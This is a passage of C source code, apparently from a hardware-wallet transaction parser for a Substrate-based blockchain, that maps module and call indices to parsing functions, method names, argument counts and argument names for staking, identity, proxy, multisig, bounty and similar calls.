&method->basic.technicalmembership_clear_prime_V2)) break; case 3842: /* module 15 call 2 */ CHECK_ERROR(_readMethod_grandpa_note_stalled_V2(c, &method->basic.grandpa_note_stalled_V2)) break; case 4096: /* module 16 call 0 */ CHECK_ERROR(_readMethod_treasury_propose_spend_V2(c, &method->basic.treasury_propose_spend_V2)) break; case 4097: /* module 16 call 1 */ CHECK_ERROR(_readMethod_treasury_reject_proposal_V2(c, &method->basic.treasury_reject_proposal_V2)) break; case 4098: /* module 16 call 2 */ CHECK_ERROR(_readMethod_treasury_approve_proposal_V2(c, &method->basic.treasury_approve_proposal_V2)) break; case 4352: /* module 17 call 0 */ CHECK_ERROR(_readMethod_sudo_sudo_V2(c, &method->basic.sudo_sudo_V2)) break; case 4353: /* module 17 call 1 */ CHECK_ERROR(_readMethod_sudo_sudo_unchecked_weight_V2(c, &method->basic.sudo_sudo_unchecked_weight_V2)) break; case 4354: /* module 17 call 2 */ CHECK_ERROR(_readMethod_sudo_set_key_V2(c, &method->basic.sudo_set_key_V2)) break; case 4355: /* module 17 call 3 */ CHECK_ERROR(_readMethod_sudo_sudo_as_V2(c, &method->basic.sudo_sudo_as_V2)) break; case 5632: /* module 22 call 0 */ CHECK_ERROR(_readMethod_identity_add_registrar_V2(c, &method->basic.identity_add_registrar_V2)) break; case 5635: /* module 22 call 3 */ CHECK_ERROR(_readMethod_identity_clear_identity_V2(c, &method->basic.identity_clear_identity_V2)) break; case 5636: /* module 22 call 4 */ CHECK_ERROR(_readMethod_identity_request_judgement_V2(c, &method->basic.identity_request_judgement_V2)) break; case 5637: /* module 22 call 5 */ CHECK_ERROR(_readMethod_identity_cancel_request_V2(c, &method->basic.identity_cancel_request_V2)) break; case 5638: /* module 22 call 6 */ CHECK_ERROR(_readMethod_identity_set_fee_V2(c, &method->basic.identity_set_fee_V2)) break; case 5639: /* module 22 call 7 */ CHECK_ERROR(_readMethod_identity_set_account_id_V2(c, &method->basic.identity_set_account_id_V2)) break; case 5642: /* module 22 call 10 */ CHECK_ERROR(_readMethod_identity_kill_identity_V2(c, &method->basic.identity_kill_identity_V2)) break; case 5645: /* module 22 call 13 */ CHECK_ERROR(_readMethod_identity_remove_sub_V2(c, &method->basic.identity_remove_sub_V2)) break; case 5646: /* module 22 call 14 */ CHECK_ERROR(_readMethod_identity_quit_sub_V2(c, &method->basic.identity_quit_sub_V2)) break; case 5889: /* module 23 call 1 */ CHECK_ERROR(_readMethod_recovery_set_recovered_V2(c, &method->basic.recovery_set_recovered_V2)) break; case 5891: /* module 23 call 3 */ CHECK_ERROR(_readMethod_recovery_initiate_recovery_V2(c, &method->basic.recovery_initiate_recovery_V2)) break; case 5892: /* module 23 call 4 */ CHECK_ERROR(_readMethod_recovery_vouch_recovery_V2(c, &method->basic.recovery_vouch_recovery_V2)) break; case 5893: /* module 23 call 5 */ CHECK_ERROR(_readMethod_recovery_claim_recovery_V2(c, &method->basic.recovery_claim_recovery_V2)) break; case 5894: /* module 23 call 6 */ CHECK_ERROR(_readMethod_recovery_close_recovery_V2(c, &method->basic.recovery_close_recovery_V2)) break; case 5895: /* module 23 call 7 */ CHECK_ERROR(_readMethod_recovery_remove_recovery_V2(c, &method->basic.recovery_remove_recovery_V2)) break; case 5896: /* module 23 call 8 */ CHECK_ERROR(_readMethod_recovery_cancel_recovered_V2(c, &method->basic.recovery_cancel_recovered_V2)) break; case 6400: /* module 25 call 0 */ CHECK_ERROR(_readMethod_proxy_proxy_V2(c, &method->nested.proxy_proxy_V2)) break; case 6401: /* module 25 call 1 */ CHECK_ERROR(_readMethod_proxy_add_proxy_V2(c, &method->basic.proxy_add_proxy_V2)) break; case 6402: /* module 25 call 2 */ CHECK_ERROR(_readMethod_proxy_remove_proxy_V2(c, &method->basic.proxy_remove_proxy_V2)) break; case 6403: /* module 25 call 3 */ CHECK_ERROR(_readMethod_proxy_remove_proxies_V2(c, &method->basic.proxy_remove_proxies_V2)) break; case 6404: /* module 25 call 4 */ CHECK_ERROR(_readMethod_proxy_anonymous_V2(c, &method->basic.proxy_anonymous_V2)) break; case 6405: /* module 25 call 5 */ CHECK_ERROR(_readMethod_proxy_kill_anonymous_V2(c, &method->basic.proxy_kill_anonymous_V2)) break; case 6406: /* module 25 call 6 */ CHECK_ERROR(_readMethod_proxy_announce_V2(c, &method->basic.proxy_announce_V2)) break; case 6407: /* module 25 call 7 */ CHECK_ERROR(_readMethod_proxy_remove_announcement_V2(c, &method->basic.proxy_remove_announcement_V2)) break; case 6408: /* module 25 call 8 */ CHECK_ERROR(_readMethod_proxy_reject_announcement_V2(c, &method->basic.proxy_reject_announcement_V2)) break; case 6409: /* module 25 call 9 */ CHECK_ERROR(_readMethod_proxy_proxy_announced_V2(c, &method->basic.proxy_proxy_announced_V2)) break; case 6656: /* module 26 call 0 */ CHECK_ERROR(_readMethod_multisig_as_multi_threshold_1_V2(c, &method->nested.multisig_as_multi_threshold_1_V2)) break; case 6657: /* module 26 call 1 */ CHECK_ERROR(_readMethod_multisig_as_multi_V2(c, &method->nested.multisig_as_multi_V2)) break; case 6658: /* module 26 call 2 */ CHECK_ERROR(_readMethod_multisig_approve_as_multi_V2(c, &method->nested.multisig_approve_as_multi_V2)) break; case 6659: /* module 26 call 3 */ CHECK_ERROR(_readMethod_multisig_cancel_as_multi_V2(c, &method->nested.multisig_cancel_as_multi_V2)) break; case 6912: /* module 27 call 0 */ CHECK_ERROR(_readMethod_bounties_propose_bounty_V2(c, &method->basic.bounties_propose_bounty_V2)) break; case 6913: /* module 27 call 1 */ CHECK_ERROR(_readMethod_bounties_approve_bounty_V2(c, &method->basic.bounties_approve_bounty_V2)) break; case 6914: /* module 27 call 2 */ CHECK_ERROR(_readMethod_bounties_propose_curator_V2(c, &method->basic.bounties_propose_curator_V2)) break; case 6915: /* module 27 call 3 */ CHECK_ERROR(_readMethod_bounties_unassign_curator_V2(c, &method->basic.bounties_unassign_curator_V2)) break; case 6916: /* module 27 call 4 */ CHECK_ERROR(_readMethod_bounties_accept_curator_V2(c, &method->basic.bounties_accept_curator_V2)) break; case 6917: /* module 27 call 5 */ CHECK_ERROR(_readMethod_bounties_award_bounty_V2(c, &method->basic.bounties_award_bounty_V2)) break; case 6918: /* module 27 call 6 */ CHECK_ERROR(_readMethod_bounties_claim_bounty_V2(c, &method->basic.bounties_claim_bounty_V2)) break; case 6919: /* module 27 call 7 */ CHECK_ERROR(_readMethod_bounties_close_bounty_V2(c, &method->basic.bounties_close_bounty_V2)) break; case 6920: /* module 27 call 8 */ CHECK_ERROR(_readMethod_bounties_extend_bounty_expiry_V2(c, &method->basic.bounties_extend_bounty_expiry_V2)) break; case 7168: /* module 28 call 0 */ CHECK_ERROR(_readMethod_ormlvesting_claim_V2(c, &method->basic.ormlvesting_claim_V2)) break; case 7171: /* module 28 call 3 */ CHECK_ERROR(_readMethod_ormlvesting_claim_for_V2(c, &method->basic.ormlvesting_claim_for_V2)) break; case 7424: /* module 29 call 0 */ CHECK_ERROR(_readMethod_pdexmigration_set_migration_operational_status_V2(c, &method->basic.pdexmigration_set_migration_operational_status_V2)) break; case 7425: /* module 29 call 1 */ CHECK_ERROR(_readMethod_pdexmigration_set_relayer_status_V2(c, &method->basic.pdexmigration_set_relayer_status_V2)) break; case 7426: /* module 29 call 2 */ CHECK_ERROR(_readMethod_pdexmigration_mint_V2(c, &method->basic.pdexmigration_mint_V2)) break; case 7427: /* module 29 call 3 */ CHECK_ERROR(_readMethod_pdexmigration_unlock_V2(c, &method->basic.pdexmigration_unlock_V2)) break; case 7428: /* module 29 call 4 */ CHECK_ERROR(_readMethod_pdexmigration_remove_minted_tokens_V2(c, &method->basic.pdexmigration_remove_minted_tokens_V2)) break; #endif default: return parser_not_supported; } return parser_ok; } ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////// const char* _getMethod_ModuleName_V2(uint8_t moduleIdx) { switch (moduleIdx) { case 6: return STR_MO_BALANCES; case 9: return STR_MO_STAKING; #ifdef SUBSTRATE_PARSER_FULL case 0: return STR_MO_SYSTEM; case 3: return STR_MO_TIMESTAMP; case 5: return STR_MO_INDICES; case 10: return STR_MO_SESSION; case 11: return STR_MO_COUNCIL; case 12: return STR_MO_TECHNICALCOMMITTEE; case 13: return STR_MO_ELECTIONS; case 14: return STR_MO_TECHNICALMEMBERSHIP; case 15: return STR_MO_GRANDPA; case 16: return STR_MO_TREASURY; case 17: return STR_MO_SUDO; case 22: return STR_MO_IDENTITY; case 23: return STR_MO_RECOVERY; case 25: return STR_MO_PROXY; case 26: return STR_MO_MULTISIG; case 27: return STR_MO_BOUNTIES; case 28: return STR_MO_ORMLVESTING; case 29: return STR_MO_PDEXMIGRATION; #endif default: return NULL; } return NULL; } const char* _getMethod_Name_V2(uint8_t moduleIdx, uint8_t callIdx) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 1536: /* module 6 call 0 */ return STR_ME_TRANSFER; case 2304: /* module 9 call 0 */ return STR_ME_BOND; case 2306: /* module 9 call 2 */ return STR_ME_UNBOND; case 2308: /* module 9 call 4 */ return STR_ME_VALIDATE; case 2309: /* module 9 call 5 */ return STR_ME_NOMINATE; case 2310: /* module 9 call 6 */ return STR_ME_CHILL; case 2323: /* module 9 call 19 */ return STR_ME_REBOND; #ifdef SUBSTRATE_PARSER_FULL case 0: /* module 0 call 0 */ return STR_ME_FILL_BLOCK; case 1: /* module 0 call 1 */ return STR_ME_REMARK; case 2: /* module 0 call 2 */ return STR_ME_SET_HEAP_PAGES; case 3: /* module 0 call 3 */ return STR_ME_SET_CODE; case 4: /* module 0 call 4 */ return STR_ME_SET_CODE_WITHOUT_CHECKS; case 5: /* module 0 call 5 */ return STR_ME_SET_CHANGES_TRIE_CONFIG; case 6: /* module 0 call 6 */ return STR_ME_SET_STORAGE; case 7: /* module 0 call 7 */ return STR_ME_KILL_STORAGE; case 8: /* module 0 call 8 */ return STR_ME_KILL_PREFIX; case 9: /* module 0 call 9 */ return STR_ME_REMARK_WITH_EVENT; case 256: /* module 1 call 0 */ return STR_ME_BATCH; case 257: /* module 1 call 1 */ return STR_ME_AS_DERIVATIVE; case 258: /* module 1 call 2 */ return STR_ME_BATCH_ALL; case 512: /* module 2 call 0 */ return STR_ME_REPORT_EQUIVOCATION; case 513: /* module 2 call 1 */ return STR_ME_REPORT_EQUIVOCATION_UNSIGNED; case 514: /* module 2 call 2 */ return STR_ME_PLAN_CONFIG_CHANGE; case 768: /* module 3 call 0 */ return STR_ME_SET; case 1024: /* module 4 call 0 */ return STR_ME_SET_UNCLES; case 1280: /* module 5 call 0 */ return STR_ME_CLAIM; case 1281: /* module 5 call 1 */ return STR_ME_TRANSFER; case 1282: /* module 5 call 2 */ return STR_ME_FREE; case 1283: /* module 5 call 3 */ return STR_ME_FORCE_TRANSFER; case 1284: /* module 5 call 4 */ return STR_ME_FREEZE; case 1537: /* module 6 call 1 */ return STR_ME_SET_BALANCE; case 1538: /* module 6 call 2 */ return STR_ME_FORCE_TRANSFER; case 1539: /* module 6 call 3 */ return STR_ME_TRANSFER_KEEP_ALIVE; case 1540: /* module 6 call 4 */ return STR_ME_TRANSFER_ALL; case 2048: /* module 8 call 0 */ return STR_ME_SUBMIT_UNSIGNED; case 2049: /* module 8 call 1 */ return STR_ME_SET_MINIMUM_UNTRUSTED_SCORE; case 2050: /* module 8 call 2 */ return STR_ME_SET_EMERGENCY_ELECTION_RESULT; case 2051: /* module 8 call 3 */ return STR_ME_SUBMIT; case 2305: /* module 9 call 1 */ return STR_ME_BOND_EXTRA; case 2307: /* module 9 call 3 */ return STR_ME_WITHDRAW_UNBONDED; case 2311: /* module 9 call 7 */ return STR_ME_SET_PAYEE; case 2312: /* module 9 call 8 */ return STR_ME_SET_CONTROLLER; case 2313: /* module 9 call 9 */ return STR_ME_SET_VALIDATOR_COUNT; case 2314: /* module 9 call 10 */ return STR_ME_INCREASE_VALIDATOR_COUNT; case 2315: /* module 9 call 11 */ return STR_ME_SCALE_VALIDATOR_COUNT; case 2316: /* module 9 call 12 */ return STR_ME_FORCE_NO_ERAS; case 2317: /* module 9 call 13 */ return STR_ME_FORCE_NEW_ERA; case 2318: /* module 9 call 14 */ return STR_ME_SET_INVULNERABLES; case 2319: /* module 9 call 15 */ return STR_ME_FORCE_UNSTAKE; case 2320: /* module 9 call 16 */ return STR_ME_FORCE_NEW_ERA_ALWAYS; case 2321: /* module 9 call 17 */ return STR_ME_CANCEL_DEFERRED_SLASH; case 2322: /* module 9 call 18 */ return STR_ME_PAYOUT_STAKERS; case 2324: /* module 9 call 20 */ return STR_ME_SET_HISTORY_DEPTH; case 2325: /* module 9 call 21 */ return STR_ME_REAP_STASH; case 2326: /* module 9 call 22 */ return STR_ME_KICK; case 2327: /* module 9 call 23 */ return STR_ME_SET_STAKING_LIMITS; case 2328: /* module 9 call 24 */ return STR_ME_CHILL_OTHER; case 2560: /* module 10 call 0 */ return STR_ME_SET_KEYS; case 2561: /* module 10 call 1 */ return STR_ME_PURGE_KEYS; case 2816: /* module 11 call 0 */ return STR_ME_SET_MEMBERS; case 2817: /* module 11 call 1 */ return STR_ME_EXECUTE; case 2818: /* module 11 call 2 */ return STR_ME_PROPOSE; case 2819: /* module 11 call 3 */ return STR_ME_VOTE; case 2820: /* module 11 call 4 */ return STR_ME_CLOSE; case 2821: /* module 11 call 5 */ return STR_ME_DISAPPROVE_PROPOSAL; case 3072: /* module 12 call 0 */ return STR_ME_SET_MEMBERS; case 3073: /* module 12 call 1 */ return STR_ME_EXECUTE; case 3074: /* module 12 call 2 */ return STR_ME_PROPOSE; case 3075: /* module 12 call 3 */ return STR_ME_VOTE; case 3076: /* module 12 call 4 */ return STR_ME_CLOSE; case 3077: /* module 12 call 5 */ return STR_ME_DISAPPROVE_PROPOSAL; case 3328: /* module 13 call 0 */ return STR_ME_VOTE; case 3329: /* module 13 call 1 */ return STR_ME_REMOVE_VOTER; case 3330: /* module 13 call 2 */ return STR_ME_SUBMIT_CANDIDACY; case 3331: /* module 13 call 3 */ return STR_ME_RENOUNCE_CANDIDACY; case 3332: /* module 13 call 4 */ return STR_ME_REMOVE_MEMBER; case 3333: /* module 13 call 5 */ return STR_ME_CLEAN_DEFUNCT_VOTERS; case 3584: /* module 14 call 0 */ return STR_ME_ADD_MEMBER; case 3585: /* module 14 call 1 */ return STR_ME_REMOVE_MEMBER; case 3586: /* module 14 call 2 */ return STR_ME_SWAP_MEMBER; case 3587: /* module 14 call 3 */ return STR_ME_RESET_MEMBERS; case 3588: /* module 14 call 4 */ return STR_ME_CHANGE_KEY; case 3589: /* module 14 call 5 */ return STR_ME_SET_PRIME; case 3590: /* module 14 call 6 */ return STR_ME_CLEAR_PRIME; case 3840: /* module 15 call 0 */ return STR_ME_REPORT_EQUIVOCATION; case 3841: /* module 15 call 1 */ return STR_ME_REPORT_EQUIVOCATION_UNSIGNED; case 3842: /* module 15 call 2 */ return STR_ME_NOTE_STALLED; case 4096: /* module 16 call 0 */ return STR_ME_PROPOSE_SPEND; case 4097: /* module 16 call 1 */ return STR_ME_REJECT_PROPOSAL; case 4098: /* module 16 call 2 */ return STR_ME_APPROVE_PROPOSAL; case 4352: /* module 17 call 0 */ return STR_ME_SUDO; case 4353: /* module 17 call 1 */ return STR_ME_SUDO_UNCHECKED_WEIGHT; case 4354: /* module 17 call 2 */ return STR_ME_SET_KEY; case 4355: /* module 17 call 3 */ return STR_ME_SUDO_AS; case 4608: /* module 18 call 0 */ return STR_ME_HEARTBEAT; case 5632: /* module 22 call 0 */ return STR_ME_ADD_REGISTRAR; case 5633: /* module 22 call 1 */ return STR_ME_SET_IDENTITY; case 5634: /* module 22 call 2 */ return STR_ME_SET_SUBS; case 5635: /* module 22 call 3 */ return STR_ME_CLEAR_IDENTITY; case 5636: /* module 22 call 4 */ return STR_ME_REQUEST_JUDGEMENT; case 5637: /* module 22 call 5 */ return STR_ME_CANCEL_REQUEST; case 5638: /* module 22 call 6 */ return STR_ME_SET_FEE; case 5639: /* module 22 call 7 */ return STR_ME_SET_ACCOUNT_ID; case 5640: /* module 22 call 8 */ return STR_ME_SET_FIELDS; case 5641: /* module 22 call 9 */ return STR_ME_PROVIDE_JUDGEMENT; case 5642: /* module 22 call 10 */ return STR_ME_KILL_IDENTITY; case 5643: /* module 22 call 11 */ return STR_ME_ADD_SUB; case 5644: /* module 22 call 12 */ return STR_ME_RENAME_SUB; case 5645: /* module 22 call 13 */ return STR_ME_REMOVE_SUB; case 5646: /* module 22 call 14 */ return STR_ME_QUIT_SUB; case 5888: /* module 23 call 0 */ return STR_ME_AS_RECOVERED; case 5889: /* module 23 call 1 */ return STR_ME_SET_RECOVERED; case 5890: /* module 23 call 2 */ return STR_ME_CREATE_RECOVERY; case 5891: /* module 23 call 3 */ return STR_ME_INITIATE_RECOVERY; case 5892: /* module 23 call 4 */ return STR_ME_VOUCH_RECOVERY; case 5893: /* module 23 call 5 */ return STR_ME_CLAIM_RECOVERY; case 5894: /* module 23 call 6 */ return STR_ME_CLOSE_RECOVERY; case 5895: /* module 23 call 7 */ return STR_ME_REMOVE_RECOVERY; case 5896: /* module 23 call 8 */ return STR_ME_CANCEL_RECOVERED; case 6144: /* module 24 call 0 */ return STR_ME_SCHEDULE; case 6145: /* module 24 call 1 */ return STR_ME_CANCEL; case 6146: /* module 24 call 2 */ return STR_ME_SCHEDULE_NAMED; case 6147: /* module 24 call 3 */ return STR_ME_CANCEL_NAMED; case 6148: /* module 24 call 4 */ return STR_ME_SCHEDULE_AFTER; case 6149: /* module 24 call 5 */ return STR_ME_SCHEDULE_NAMED_AFTER; case 6400: /* module 25 call 0 */ return STR_ME_PROXY; case 6401: /* module 25 call 1 */ return STR_ME_ADD_PROXY; case 6402: /* module 25 call 2 */ return STR_ME_REMOVE_PROXY; case 6403: /* module 25 call 3 */ return STR_ME_REMOVE_PROXIES; case 6404: /* module 25 call 4 */ return STR_ME_ANONYMOUS; case 6405: /* module 25 call 5 */ return STR_ME_KILL_ANONYMOUS; case 6406: /* module 25 call 6 */ return STR_ME_ANNOUNCE; case 6407: /* module 25 call 7 */ return STR_ME_REMOVE_ANNOUNCEMENT; case 6408: /* module 25 call 8 */ return STR_ME_REJECT_ANNOUNCEMENT; case 6409: /* module 25 call 9 */ return STR_ME_PROXY_ANNOUNCED; case 6656: /* module 26 call 0 */ return STR_ME_AS_MULTI_THRESHOLD_1; case 6657: /* module 26 call 1 */ return STR_ME_AS_MULTI; case 6658: /* module 26 call 2 */ return STR_ME_APPROVE_AS_MULTI; case 6659: /* module 26 call 3 */ return STR_ME_CANCEL_AS_MULTI; case 6912: /* module 27 call 0 */ return STR_ME_PROPOSE_BOUNTY; case 6913: /* module 27 call 1 */ return STR_ME_APPROVE_BOUNTY; case 6914: /* module 27 call 2 */ return STR_ME_PROPOSE_CURATOR; case 6915: /* module 27 call 3 */ return STR_ME_UNASSIGN_CURATOR; case 6916: /* module 27 call 4 */ return STR_ME_ACCEPT_CURATOR; case 6917: /* module 27 call 5 */ return STR_ME_AWARD_BOUNTY; case 6918: /* module 27 call 6 */ return STR_ME_CLAIM_BOUNTY; case 6919: /* module 27 call 7 */ return STR_ME_CLOSE_BOUNTY; case 6920: /* module 27 call 8 */ return STR_ME_EXTEND_BOUNTY_EXPIRY; case 7168: /* module 28 call 0 */ return STR_ME_CLAIM; case 7169: /* module 28 call 1 */ return STR_ME_VESTED_TRANSFER; case 7170: /* module 28 call 2 */ return STR_ME_UPDATE_VESTING_SCHEDULES; case 7171: /* module 28 call 3 */ return STR_ME_CLAIM_FOR; case 7424: /* module 29 call 0 */ return STR_ME_SET_MIGRATION_OPERATIONAL_STATUS; case 7425: /* module 29 call 1 */ return STR_ME_SET_RELAYER_STATUS; case 7426: /* module 29 call 2 */ return STR_ME_MINT; case 7427: /* module 29 call 3 */ return STR_ME_UNLOCK; case 7428: /* module 29 call 4 */ return STR_ME_REMOVE_MINTED_TOKENS; #endif default: return NULL; } return NULL; } uint8_t _getMethod_NumItems_V2(uint8_t moduleIdx, uint8_t callIdx) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 1536: /* module 6 call 0 */ return 2; case 2304: /* module 9 call 0 */ return 3; case 2306: /* module 9 call 2 */ return 1; case 2308: /* module 9 call 4 */ return 1; case 2309: /* module 9 call 5 */ return 1; case 2310: /* module 9 call 6 */ return 0; case 2323: /* module 9 call 19 */ return 1; #ifdef SUBSTRATE_PARSER_FULL case 0: /* module 0 call 0 */ return 1; case 1: /* module 0 call 1 */ return 1; case 2: /* module 0 call 2 */ return 1; case 3: /* module 0 call 3 */ return 1; case 4: /* module 0 call 4 */ return 1; case 9: /* module 0 call 9 */ return 1; case 768: /* module 3 call 0 */ return 1; case 1280: /* module 5 call 0 */ return 1; case 1282: /* module 5 call 2 */ return 1; case 1283: /* module 5 call 3 */ return 3; case 1284: /* module 5 call 4 */ return 1; case 1537: /* module 6 call 1 */ return 3; case 1538: /* module 6 call 2 */ return 3; case 1539: /* module 6 call 3 */ return 2; case 1540: /* module 6 call 4 */ return 2; case 2305: /* module 9 call 1 */ return 1; case 2307: /* module 9 call 3 */ return 1; case 2311: /* module 9 call 7 */ return 1; case 2312: /* module 9 call 8 */ return 1; case 2313: /* module 9 call 9 */ return 1; case 2314: /* module 9 call 10 */ return 1; case 2316: /* module 9 call 12 */ return 0; case 2317: /* module 9 call 13 */ return 0; case 2318: /* module 9 call 14 */ return 1; case 2319: /* module 9 call 15 */ return 2; case 2320: /* module 9 call 16 */ return 0; case 2321: /* module 9 call 17 */ return 2; case 2322: /* module 9 call 18 */ return 2; case 2324: /* module 9 call 20 */ return 2; case 2325: /* module 9 call 21 */ return 2; case 2328: /* module 9 call 24 */ return 1; case 2560: /* module 10 call 0 */ return 2; case 2561: /* module 10 call 1 */ return 0; case 2816: /* module 11 call 0 */ return 3; case 2817: /* module 11 call 1 */ return 2; case 2818: /* module 11 call 2 */ return 3; case 2819: /* module 11 call 3 */ return 3; case 2820: /* module 11 call 4 */ return 4; case 2821: /* module 11 call 5 */ return 1; case 3072: /* module 12 call 0 */ return 3; case 3073: /* module 12 call 1 */ return 2; case 3074: /* module 12 call 2 */ return 3; case 3075: /* module 12 call 3 */ return 3; case 3076: /* module 12 call 4 */ return 4; case 3077: /* module 12 call 5 */ return 1; case 3328: /* module 13 call 0 */ return 2; case 3329: /* module 13 call 1 */ return 0; case 3330: /* module 13 call 2 */ return 1; case 3332: /* module 13 call 4 */ return 2; case 3333: /* module 13 call 5 */ return 2; case 3584: /* module 14 call 0 */ return 1; case 3585: /* module 14 call 1 */ return 1; case 3586: /* module 14 call 2 */ return 2; case 3587: /* module 14 call 3 */ return 1; case 3588: /* module 14 call 4 */ return 1; case 3589: /* module 14 call 5 */ return 1; case 3590: /* module 14 call 6 */ return 0; case 3842: /* module 15 call 2 */ return 2; case 4096: /* module 16 call 0 */ return 2; case 4097: /* module 16 call 1 */ return 1; case 4098: /* module 16 call 2 */ return 1; case 4352: /* module 17 call 0 */ return 1; case 4353: /* module 17 call 1 */ return 2; case 4354: /* module 17 call 2 */ return 1; case 4355: /* module 17 call 3 */ return 2; case 5632: /* module 22 call 0 */ return 1; case 5635: /* module 22 call 3 */ return 0; case 5636: /* module 22 call 4 */ return 2; case 5637: /* module 22 call 5 */ return 1; case 5638: /* module 22 call 6 */ return 2; case 5639: /* module 22 call 7 */ return 2; case 5642: /* module 22 call 10 */ return 1; case 5645: /* module 22 call 13 */ return 1; case 5646: /* module 22 call 14 */ return 0; case 5889: /* module 23 call 1 */ return 2; case 5891: /* module 23 call 3 */ return 1; case 5892: /* module 23 call 4 */ return 2; case 5893: /* module 23 call 5 */ return 1; case 5894: /* module 23 call 6 */ return 1; case 5895: /* module 23 call 7 */ return 0; case 5896: /* module 23 call 8 */ return 1; case 6400: /* module 25 call 0 */ return 3; case 6401: /* module 25 call 1 */ return 3; case 6402: /* module 25 call 2 */ return 3; case 6403: /* module 25 call 3 */ return 0; case 6404: /* module 25 call 4 */ return 3; case 6405: /* module 25 call 5 */ return 5; case 6406: /* module 25 call 6 */ return 2; case 6407: /* module 25 call 7 */ return 2; case 6408: /* module 25 call 8 */ return 2; case 6409: /* module 25 call 9 */ return 4; case 6656: /* module 26 call 0 */ return 2; case 6657: /* module 26 call 1 */ return 6; case 6658: /* module 26 call 2 */ return 5; case 6659: /* module 26 call 3 */ return 4; case 6912: /* module 27 call 0 */ return 2; case 6913: /* module 27 call 1 */ return 1; case 6914: /* module 27 call 2 */ return 3; case 6915: /* module 27 call 3 */ return 1; case 6916: /* module 27 call 4 */ return 1; case 6917: /* module 27 call 5 */ return 2; case 6918: /* module 27 call 6 */ return 1; case 6919: /* module 27 call 7 */ return 1; case 6920: /* module 27 call 8 */ return 2; case 7168: /* module 28 call 0 */ return 0; case 7171: /* module 28 call 3 */ return 1; case 7424: /* module 29 call 0 */ return 1; case 7425: /* module 29 call 1 */ return 2; case 7426: /* module 29 call 2 */ return 3; case 7427: /* module 29 call 3 */ return 0; case 7428: /* module 29 call 4 */ return 1; #endif default: return 0; } return 0; } const char* _getMethod_ItemName_V2(uint8_t moduleIdx, uint8_t callIdx, uint8_t itemIdx) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 1536: /* module 6 call 0 */ switch (itemIdx) { case 0: return STR_IT_dest; case 1: return STR_IT_value; default: return NULL; } case 2304: /* module 9 call 0 */ switch (itemIdx) { case 0: return STR_IT_controller; case 1: return STR_IT_value; case 2: return STR_IT_payee; default: return NULL; } case 2306: /* module 9 call 2 */ switch (itemIdx) { case 0: return STR_IT_value; default: return NULL; } case 2308: /* module 9 call 4 */ switch (itemIdx) { case 0: return STR_IT_prefs; default: return NULL; } case 2309: /* module 9 call 5 */ switch (itemIdx) { case 0: return STR_IT_targets; default: return NULL; } case 2310: /* module 9 call 6 */ switch (itemIdx) { default: return NULL; } case 2323: /* module 9 call 19 */ switch (itemIdx) { case 0: return STR_IT_value; default: return NULL; } #ifdef SUBSTRATE_PARSER_FULL case 0: /* module 0 call 0 */ switch (itemIdx) { case 0: return STR_IT__ratio; default: return NULL; } case 1: /* module 0 call 1 */ switch (itemIdx) { case 0: return STR_IT__remark; default: return NULL; } case 2: /* module 0 call 2 */ switch (itemIdx) { case 0: return STR_IT_pages; default: return NULL; } case 3: /* module 0 call 3 */ switch (itemIdx) { case 0: return STR_IT_code; default: return NULL; } case 4: /* module 0 call 4 */ switch (itemIdx) { case 0: return STR_IT_code; default: return NULL; } case 9: /* module 0 call 9 */ switch (itemIdx) { case 0: return STR_IT_remark; default: return NULL; } case 768: /* module 3 call 0 */ switch (itemIdx) { case 0: return STR_IT_now; default: return NULL; } case 1280: /* module 5 call 0 */ switch (itemIdx) { case 0: return STR_IT_index; default: return NULL; } case 1282: /* module 5 call 2 */ switch (itemIdx) { case 0: return STR_IT_index; default: return NULL; } case 1283: /* module 5 call 3 */ switch (itemIdx) { case 0: return STR_IT_new_; case 1: return STR_IT_index; case 2: return STR_IT_freeze; default: return NULL; } case 1284: /* module 5 call 4 */ switch (itemIdx) { case 0: return STR_IT_index; default: return NULL; } case 1537: /* module 6 call 1 */ switch (itemIdx) { case 0: return STR_IT_who; case 1: return STR_IT_new_free; case 2: return STR_IT_new_reserved; default: return NULL; } case 1538: /* module 6 call 2 */ switch (itemIdx) { case 0: return STR_IT_source; case 1: return STR_IT_dest; case 2: return STR_IT_value; default: return NULL; } case 1539: /* module 6 call 3 */ switch (itemIdx) { case 0: return STR_IT_dest; case 1: return STR_IT_value; default: return NULL; } case 1540: /* module 6 call 4 */ switch (itemIdx) { case 0: return STR_IT_dest; case 1: return STR_IT_keep_alive; default: return NULL; } case 2305: /* module 9 call 1 */ switch (itemIdx) { case 0: return STR_IT_max_additional; default: return NULL; } case 2307: /* module 9 call 3 */ switch (itemIdx) { case 0: return STR_IT_num_slashing_spans; default: return NULL; } case 2311: /* module 9 call 7 */ switch (itemIdx) { case 0: return STR_IT_payee; default: return NULL; } case 2312: /* module 9 call 8 */ switch (itemIdx) { case 0: return STR_IT_controller; default: return NULL; } case 2313: /* module 9 call 9 */ switch (itemIdx) { case 0: return STR_IT_new_; default: return NULL; } case 2314: /* module 9 call 10 */ switch (itemIdx) { case 0: return STR_IT_additional; default: return NULL; } case 2316: /* module 9 call 12 */ switch (itemIdx) { default: return NULL; } case 2317: /* module 9 call 13 */ switch (itemIdx) { default: return NULL; } case 2318: /* module 9 call 14 */ switch (itemIdx) { case 0: return STR_IT_invulnerables; default: return NULL; } case 2319: /* module 9 call 15 */ switch (itemIdx) { case 0: return STR_IT_stash; case 1: return STR_IT_num_slashing_spans; default: return NULL; } case 2320: /* module 9 call 16 */ switch (itemIdx) { default: return NULL; } case 2321: /* module 9 call 17 */ switch (itemIdx) { case 0: return STR_IT_era; case 1: return STR_IT_slash_indices; default: return NULL; } case 2322: /* module 9 call 18 */ switch (itemIdx) { case 0: return STR_IT_validator_stash; case 1: return STR_IT_era; default: return NULL; } case 2324: /* module 9 call 20 */ switch (itemIdx) { case 0: return STR_IT_new_history_depth; case 1: return STR_IT__era_items_deleted; default: return NULL; } case 2325: /* module 9 call 21 */ switch (itemIdx) { case 0: return STR_IT_stash; case 1: return STR_IT_num_slashing_spans; default: return NULL; } case 2328: /* module 9 call 24 */ switch (itemIdx) { case 0: return STR_IT_controller; default: return NULL; } case 2560: /* module 10 call 0 */ switch (itemIdx) { case 0: return STR_IT_keys; case 1: return STR_IT_proof; default: return NULL; } case 